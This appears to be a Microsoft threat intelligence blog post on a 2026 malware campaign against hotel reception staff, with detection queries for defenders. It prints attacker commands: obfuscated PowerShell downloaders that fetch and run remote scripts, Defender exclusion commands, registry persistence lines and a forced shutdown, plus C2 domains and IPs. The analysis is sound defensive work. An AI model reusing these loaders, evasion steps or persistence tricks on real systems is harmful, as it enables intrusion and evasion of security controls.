Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $
+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $
 -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
